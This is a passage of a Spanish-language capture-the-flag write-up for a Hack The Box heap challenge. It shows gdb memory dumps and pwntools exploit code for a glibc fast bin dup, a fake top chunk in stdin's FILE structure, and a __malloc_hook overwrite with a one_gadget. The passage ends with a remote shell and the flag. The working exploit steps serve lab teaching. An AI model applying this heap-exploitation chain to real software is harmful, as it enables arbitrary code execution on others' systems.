bins = {0x7f26625cabc0, 0x7f26625cabc0, 0x7f26625cabd0, 0x7f26625cabd0, 0x7f26625cabe0, 0x7f26625cabe0, 0x7f26625cabf0, 0x7f26625cabf0, 0x7f26625cac00, 0x7f26625cac00, 0x7f26625cac10, 0x7f26625cac10, 0x7f26625cac20, 0x7f26625cac20, 0x7f26625cac30, 0x7f26625cac30, 0x7f26625cac40, 0x7f26625cac40, 0x7f26625cac50, 0x7f26625cac50, 0x7f26625cac60, 0x7f26625cac60, 0x7f26625cac70, 0x7f26625cac70, 0x7f26625cac80, 0x7f26625cac80, 0x7f26625cac90, 0x7f26625cac90, 0x7f26625caca0, 0x7f26625caca0, 0x7f26625cacb0, 0x7f26625cacb0, 0x7f26625cacc0, 0x7f26625cacc0, 0x7f26625cacd0, 0x7f26625cacd0, 0x7f26625cace0, 0x7f26625cace0, 0x7f26625cacf0, 0x7f26625cacf0, 0x7f26625cad00, 0x7f26625cad00, 0x7f26625cad10, 0x7f26625cad10, 0x7f26625cad20, 0x7f26625cad20, 0x7f26625cad30, 0x7f26625cad30, 0x7f26625cad40, 0x7f26625cad40, 0x7f26625cad50, 0x7f26625cad50, 0x7f26625cad60, 0x7f26625cad60, 0x7f26625cad70, 0x7f26625cad70, 0x7f26625cad80, 0x7f26625cad80, 0x7f26625cad90, 0x7f26625cad90, 0x7f26625cada0, 0x7f26625cada0, 0x7f26625cadb0, 0x7f26625cadb0, 0x7f26625cadc0, 0x7f26625cadc0, 0x7f26625cadd0, 0x7f26625cadd0, 0x7f26625cade0, 0x7f26625cade0, 0x7f26625cadf0, 0x7f26625cadf0, 0x7f26625cae00, 0x7f26625cae00, 0x7f26625cae10, 0x7f26625cae10, 0x7f26625cae20, 0x7f26625cae20, 0x7f26625cae30, 0x7f26625cae30, 0x7f26625cae40, 0x7f26625cae40, 0x7f26625cae50, 0x7f26625cae50, 0x7f26625cae60, 0x7f26625cae60, 0x7f26625cae70, 0x7f26625cae70, 0x7f26625cae80, 0x7f26625cae80, 0x7f26625cae90, 0x7f26625cae90, 0x7f26625caea0, 0x7f26625caea0, 0x7f26625caeb0, 0x7f26625caeb0, 0x7f26625caec0, 0x7f26625caec0, 0x7f26625caed0, 0x7f26625caed0, 0x7f26625caee0, 0x7f26625caee0, 0x7f26625caef0, 0x7f26625caef0, 0x7f26625caf00, 0x7f26625caf00, 0x7f26625caf10, 0x7f26625caf10, 0x7f26625caf20, 0x7f26625caf20, 0x7f26625caf30, 0x7f26625caf30, 0x7f26625caf40, 0x7f26625caf40, 0x7f26625caf50, 0x7f26625caf50, 0x7f26625caf60, 0x7f26625caf60, 0x7f26625caf70, 0x7f26625caf70, 0x7f26625caf80, 0x7f26625caf80, 0x7f26625caf90, 0x7f26625caf90, 0x7f26625cafa0, 0x7f26625cafa0, 0x7f26625cafb0, 0x7f26625cafb0, 0x7f26625cafc0, 0x7f26625cafc0, 0x7f26625cafd0, 0x7f26625cafd0, 0x7f26625cafe0, 0x7f26625cafe0, 0x7f26625caff0, 0x7f26625caff0, 0x7f26625cb000, 0x7f26625cb000, 0x7f26625cb010, 0x7f26625cb010, 0x7f26625cb020, 0x7f26625cb020, 0x7f26625cb030, 0x7f26625cb030, 0x7f26625cb040, 0x7f26625cb040, 0x7f26625cb050, 0x7f26625cb050, 0x7f26625cb060, 0x7f26625cb060, 0x7f26625cb070, 0x7f26625cb070, 0x7f26625cb080, 0x7f26625cb080, 0x7f26625cb090, 0x7f26625cb090, 0x7f26625cb0a0, 0x7f26625cb0a0, 0x7f26625cb0b0, 0x7f26625cb0b0, 0x7f26625cb0c0, 0x7f26625cb0c0, 0x7f26625cb0d0, 0x7f26625cb0d0, 0x7f26625cb0e0, 0x7f26625cb0e0, 0x7f26625cb0f0, 0x7f26625cb0f0, 0x7f26625cb100, 0x7f26625cb100, 0x7f26625cb110, 0x7f26625cb110, 0x7f26625cb120, 0x7f26625cb120, 0x7f26625cb130, 0x7f26625cb130, 0x7f26625cb140, 0x7f26625cb140, 0x7f26625cb150, 0x7f26625cb150, 0x7f26625cb160, 0x7f26625cb160, 0x7f26625cb170, 0x7f26625cb170, 0x7f26625cb180, 0x7f26625cb180, 0x7f26625cb190, 0x7f26625cb190, 0x7f26625cb1a0, 0x7f26625cb1a0, 0x7f26625cb1b0, 0x7f26625cb1b0, 0x7f26625cb1c0, 0x7f26625cb1c0, 0x7f26625cb1d0, 0x7f26625cb1d0, 0x7f26625cb1e0, 0x7f26625cb1e0, 0x7f26625cb1f0, 0x7f26625cb1f0...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7f26625cab60,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg> x/30gx &main_arena
0x7f26625cab60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f26625cab70 <main_arena+16>: 0x0000000000000000 0x000056029b1354c0
0x7f26625cab80 <main_arena+32>: 0x6161610000000000 0x6161636161616261
0x7f26625cab90 <main_arena+48>: 0x6161656161616461 0x6161676161616661
0x7f26625caba0 <main_arena+64>: 0x6161696161616861 0x61616b6161616a61
0x7f26625cabb0 <main_arena+80>: 0x61616d6161616c61 0x61616f6161616e61
0x7f26625cabc0 <main_arena+96>: 0x00000a6161617061 0x0000000000000000
0x7f26625cabd0 <main_arena+112>: 0x00007f26625cabc0 0x00007f26625cabc0
0x7f26625cabe0 <main_arena+128>: 0x00007f26625cabd0 0x00007f26625cabd0
0x7f26625cabf0 <main_arena+144>: 0x00007f26625cabe0 0x00007f26625cabe0
0x7f26625cac00 <main_arena+160>: 0x00007f26625cabf0 0x00007f26625cabf0
0x7f26625cac10 <main_arena+176>: 0x00007f26625cac00 0x00007f26625cac00
0x7f26625cac20 <main_arena+192>: 0x00007f26625cac10 0x00007f26625cac10
0x7f26625cac30 <main_arena+208>: 0x00007f26625cac20 0x00007f26625cac20
0x7f26625cac40 <main_arena+224>: 0x00007f26625cac30 0x00007f26625cac30
En este punto, necesitamos encontrar una dirección válida para el top chunk. Este valor debe estar alineado y debe contener un tamaño válido para el asignador del heap. Si echamos un vistazo a algunas direcciones anteriores a __malloc_hook
, tenemos esto:
pwndbg> x/100gx &__malloc_hook - 70
0x7f26625ca920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7f26625ca930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7f26625ca940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7f26625ca950 <_IO_wide_data_1+240>: 0x00007f26625c6ee0 0x0000000000000000
0x7f26625ca960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x000056029b134420
0x7f26625ca970 <_IO_2_1_stdin_+16>: 0x000056029b134420 0x000056029b134420
0x7f26625ca980 <_IO_2_1_stdin_+32>: 0x000056029b134420 0x000056029b134420
0x7f26625ca990 <_IO_2_1_stdin_+48>: 0x000056029b134420 0x000056029b134420
0x7f26625ca9a0 <_IO_2_1_stdin_+64>: 0x000056029b135420 0x0000000000000000
0x7f26625ca9b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7f26625ca9c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7f26625ca9d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7f26625ca9e0 <_IO_2_1_stdin_+128>: 0x0000000000000000 0x00007f26625cc7d0
0x7f26625ca9f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f26625caa00 <_IO_2_1_stdin_+160>: 0x00007f26625caa40 0x0000000000000000
0x7f26625caa10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7f26625caa20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7f26625caa30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007f26625c7420
0x7f26625caa40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7f26625caa50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7f26625caa60 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7f26625caa70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7f26625caa80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7f26625caa90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7f26625caaa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7f26625caab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7f26625caac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7f26625caad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7f26625caae0 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7f26625caaf0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7f26625cab00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7f26625cab10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7f26625cab20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7f26625cab30 <_IO_wide_data_0+240>: 0x00007f26625c6ee0 0x0000000000000000
0x7f26625cab40 <__memalign_hook>: 0x00007f2662299a10 0x00007f2662299ed0
0x7f26625cab50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f26625cab60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f26625cab70 <main_arena+16>: 0x0000000000000000 0x000056029b1354c0
0x7f26625cab80 <main_arena+32>: 0x6161610000000000 0x6161636161616261
0x7f26625cab90 <main_arena+48>: 0x6161656161616461 0x6161676161616661
0x7f26625caba0 <main_arena+64>: 0x6161696161616861 0x61616b6161616a61
0x7f26625cabb0 <main_arena+80>: 0x61616d6161616c61 0x61616f6161616e61
0x7f26625cabc0 <main_arena+96>: 0x00000a6161617061 0x0000000000000000
0x7f26625cabd0 <main_arena+112>: 0x00007f26625cabc0 0x00007f26625cabc0
0x7f26625cabe0 <main_arena+128>: 0x00007f26625cabd0 0x00007f26625cabd0
0x7f26625cabf0 <main_arena+144>: 0x00007f26625cabe0 0x00007f26625cabe0
0x7f26625cac00 <main_arena+160>: 0x00007f26625cabf0 0x00007f26625cabf0
0x7f26625cac10 <main_arena+176>: 0x00007f26625cac00 0x00007f26625cac00
0x7f26625cac20 <main_arena+192>: 0x00007f26625cac10 0x00007f26625cac10
0x7f26625cac30 <main_arena+208>: 0x00007f26625cac20 0x00007f26625cac20
No hay nada similar a un tamaño de un chunk… Pero tenemos más direcciones que comienzan con 0x56
, por lo que podemos hacer un segundo Fast Bin dup para asignar un chunk ahí e ingresar un tamaño válido para el top chunk. Este es un enfoque válido, pero no es eficiente en cuanto a asignaciones, por lo que no podremos completar el exploit debido al límite de 13 asignaciones… Sin embargo, dado que controlamos main_arena
, podemos ingresar la dirección del siguiente chunk de tamaño 0x50
a asignar en la lista de Fast Bin correspondiente. Luego, simplemente asignaremos ese chunk y escribiremos el tamaño falso en un offset de _IO_2_1_stdin_
:
summon(p, 0x48, b'\0' * 3 + p64(glibc.sym._IO_2_1_stdin_ + 61) + p64(0) * 6 + p64(glibc.sym._IO_2_1_stdin_ + 112)) # 6
summon(p, 0x48, b'\0' * 3 + p64(0) * 5 + p64(0x1fb11)) # 7
Entonces, tenemos esto:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3502562
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3502562', '-x', '/tmp/pwnw3k7rv11.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7fc0032b9420
[+] Glibc base address: 0x7fc002f08000
[*] Switching to interactive mode
Dragons: [8/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
pwndbg> x/100gx &__malloc_hook - 70
0x7fc0032bc920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc950 <_IO_wide_data_1+240>: 0x00007fc0032b8ee0 0x0000000000000000
0x7fc0032bc960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000562f98a8c420
0x7fc0032bc970 <_IO_2_1_stdin_+16>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc980 <_IO_2_1_stdin_+32>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc990 <_IO_2_1_stdin_+48>: 0x0000562f98a8c420 0x0000562f98a8c420
0x7fc0032bc9a0 <_IO_2_1_stdin_+64>: 0x0000562f98a8d420 0x0000000000000000
0x7fc0032bc9b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc9c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7fc0032bc9d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0x000000000001fb11
0x7fc0032bc9e0 <_IO_2_1_stdin_+128>: 0x000000000000000a 0x00007fc0032be7d0
0x7fc0032bc9f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7fc0032bca00 <_IO_2_1_stdin_+160>: 0x00007fc0032bca40 0x0000000000000000
0x7fc0032bca10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7fc0032bca30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007fc0032b9420
0x7fc0032bca40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca60 <_IO_wide_data_0+32>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7fc0032bca90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcaa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcae0 <_IO_wide_data_0+160>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcaf0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb30 <_IO_wide_data_0+240>: 0x00007fc0032b8ee0 0x0000000000000000
0x7fc0032bcb40 <__memalign_hook>: 0x00007fc002f8ba10 0x00007fc002f8bed0
0x7fc0032bcb50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7fc0032bcb70 <main_arena+16>: 0x0000000000000000 0x0000562f98a8d4c0
0x7fc0032bcb80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcb90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcbb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7fc0032bcbc0 <main_arena+96>: 0x00007fc0032bc9d0 0x000000000000000a
0x7fc0032bcbd0 <main_arena+112>: 0x00007fc0032bcbc0 0x00007fc0032bcbc0
0x7fc0032bcbe0 <main_arena+128>: 0x00007fc0032bcbd0 0x00007fc0032bcbd0
0x7fc0032bcbf0 <main_arena+144>: 0x00007fc0032bcbe0 0x00007fc0032bcbe0
0x7fc0032bcc00 <main_arena+160>: 0x00007fc0032bcbf0 0x00007fc0032bcbf0
0x7fc0032bcc10 <main_arena+176>: 0x00007fc0032bcc00 0x00007fc0032bcc00
0x7fc0032bcc20 <main_arena+192>: 0x00007fc0032bcc10 0x00007fc0032bcc10
0x7fc0032bcc30 <main_arena+208>: 0x00007fc0032bcc20 0x00007fc0032bcc20
Como se puede ver, la dirección del top chunk es 0x00007fc0032bc9d0
, que contiene un tamaño de 0x1fb11
, que es válido para el asignador del heap. Ahora podemos asignar chunks hasta que estemos cerca de __malloc_hook
. Podemos usar dos chunks de tamaño 0x80
, luego un chunk de tamaño 0x60
y finalmente un chunk de 0x40
(nótese que estos tamaños no se usaron antes, por lo que no están corruptos presumiblemente):
summon(p, 0x78, b'') # 8
summon(p, 0x78, b'') # 9
summon(p, 0x58, b'') # 10
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3507413
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3507413', '-x', '/tmp/pwnj_ah6_4m.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7ff21cf3f420
[+] Glibc base address: 0x7ff21cb8e000
[*] Switching to interactive mode
Dragons: [11/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
Entonces tenemos este estado de la memoria. Obsérvese que el tamaño del top chunk está por encima de __malloc_hook
. Entonces, con la próxima asignación, podremos escribir ahí:
pwndbg> x/100gx &__malloc_hook - 70
0x7ff21cf42920 <_IO_wide_data_1+192>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42930 <_IO_wide_data_1+208>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42940 <_IO_wide_data_1+224>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42950 <_IO_wide_data_1+240>: 0x00007ff21cf3eee0 0x0000000000000000
0x7ff21cf42960 <_IO_2_1_stdin_>: 0x00000000fbad2088 0x0000561440cda420
0x7ff21cf42970 <_IO_2_1_stdin_+16>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf42980 <_IO_2_1_stdin_+32>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf42990 <_IO_2_1_stdin_+48>: 0x0000561440cda420 0x0000561440cda420
0x7ff21cf429a0 <_IO_2_1_stdin_+64>: 0x0000561440cdb420 0x0000000000000000
0x7ff21cf429b0 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf429c0 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000000000
0x7ff21cf429d0 <_IO_2_1_stdin_+112>: 0x0000000000000000 0x0000000000000081
0x7ff21cf429e0 <_IO_2_1_stdin_+128>: 0x000000000000000a 0x00007ff21cf447d0
0x7ff21cf429f0 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ff21cf42a00 <_IO_2_1_stdin_+160>: 0x00007ff21cf42a40 0x0000000000000000
0x7ff21cf42a10 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a20 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ff21cf42a30 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ff21cf3f420
0x7ff21cf42a40 <_IO_wide_data_0>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a50 <_IO_wide_data_0+16>: 0x0000000000000000 0x0000000000000081
0x7ff21cf42a60 <_IO_wide_data_0+32>: 0x000000000000000a 0x0000000000000000
0x7ff21cf42a70 <_IO_wide_data_0+48>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a80 <_IO_wide_data_0+64>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42a90 <_IO_wide_data_0+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42aa0 <_IO_wide_data_0+96>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ab0 <_IO_wide_data_0+112>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ac0 <_IO_wide_data_0+128>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ad0 <_IO_wide_data_0+144>: 0x0000000000000000 0x0000000000000061
0x7ff21cf42ae0 <_IO_wide_data_0+160>: 0x000000000000000a 0x0000000000000000
0x7ff21cf42af0 <_IO_wide_data_0+176>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b00 <_IO_wide_data_0+192>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b10 <_IO_wide_data_0+208>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b20 <_IO_wide_data_0+224>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b30 <_IO_wide_data_0+240>: 0x00007ff21cf3eee0 0x000000000001f9b1
0x7ff21cf42b40 <__memalign_hook>: 0x00007ff21cc11a10 0x00007ff21cc11ed0
0x7ff21cf42b50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ff21cf42b70 <main_arena+16>: 0x0000000000000000 0x0000561440cdb4c0
0x7ff21cf42b80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ff21cf42bc0 <main_arena+96>: 0x00007ff21cf42b30 0x000000000000000a
0x7ff21cf42bd0 <main_arena+112>: 0x00007ff21cf42bc0 0x00007ff21cf42bc0
0x7ff21cf42be0 <main_arena+128>: 0x00007ff21cf42bd0 0x00007ff21cf42bd0
0x7ff21cf42bf0 <main_arena+144>: 0x00007ff21cf42be0 0x00007ff21cf42be0
0x7ff21cf42c00 <main_arena+160>: 0x00007ff21cf42bf0 0x00007ff21cf42bf0
0x7ff21cf42c10 <main_arena+176>: 0x00007ff21cf42c00 0x00007ff21cf42c00
0x7ff21cf42c20 <main_arena+192>: 0x00007ff21cf42c10 0x00007ff21cf42c10
0x7ff21cf42c30 <main_arena+208>: 0x00007ff21cf42c20 0x00007ff21cf42c20
pwndbg> continue
Continuing.
>> $ 1
Dragon's length: $ 56
Name your dragon: $ AAAAAAAABBBBBBBBCCCCCCCC
Dragons: [12/13]
🀄🀄🀄🀄🀄🀄🀄🀄🀄
🀄 🀄
🀄 1. Summon 🀄
🀄 🀄
🀄 2. Release 🀄
🀄 🀄
🀄 3. Leave 🀄
🀄 🀄
🀄🀄🀄🀄🀄🀄🀄🀄🀄
>> $
Y tenemos control sobre __malloc_hook
:
pwndbg> x/10gx &__malloc_hook - 4
0x7ff21cf42b30 <_IO_wide_data_0+240>: 0x00007ff21cf3eee0 0x0000000000000041
0x7ff21cf42b40 <__memalign_hook>: 0x4141414141414141 0x4242424242424242
0x7ff21cf42b50 <__malloc_hook>: 0x4343434343434343 0x000000000000000a
0x7ff21cf42b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ff21cf42b70 <main_arena+16>: 0x0000000000000000 0x000000000001f971
En este punto, podemos ingresar a una shell one_gadget
:
$ one_gadget glibc/libc.so.6
0xc4dbf execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL
0xe1fa1 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xe1fad execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
Y esta es la parte final del exploit (¡exactamente 13 asignaciones, al límite!):
one_gadget = glibc.address + (0xc4dbf, 0xe1fa1, 0xe1fad)[1]
summon(p, 0x38, p64(0) * 2 + p64(one_gadget)) # 11
p.sendlineafter(b'>> ', b'1') # 12
p.sendlineafter(b"Dragon's length: ", b'24')
p.interactive()
if __name__ == '__main__':
main()
Si lo ejecutamos, en algún momento aparecerá una shell:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3511621
[*] Leaked __GI__IO_file_jumps address: 0x7f6148451420
[+] Glibc base address: 0x7f61480a0000
[*] Switching to interactive mode
$ ls
da flag.txt glibc solve.py
Flag
Probemos de forma remota:
$ python3 solve.py 178.128.42.95:30292
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 178.128.42.95 on port 30292: Done
[*] Leaked __GI__IO_file_jumps address: 0x7fc0cb3cd420
[+] Glibc base address: 0x7fc0cb01c000
[*] Switching to interactive mode
$ ls
core
da
flag.txt
glibc
$ cat flag.txt
HTB{f45tb1n_dup_n0_tc4ch3_4_r3d_dr4g3n}
El exploit completo se puede encontrar aquí: solve.py
.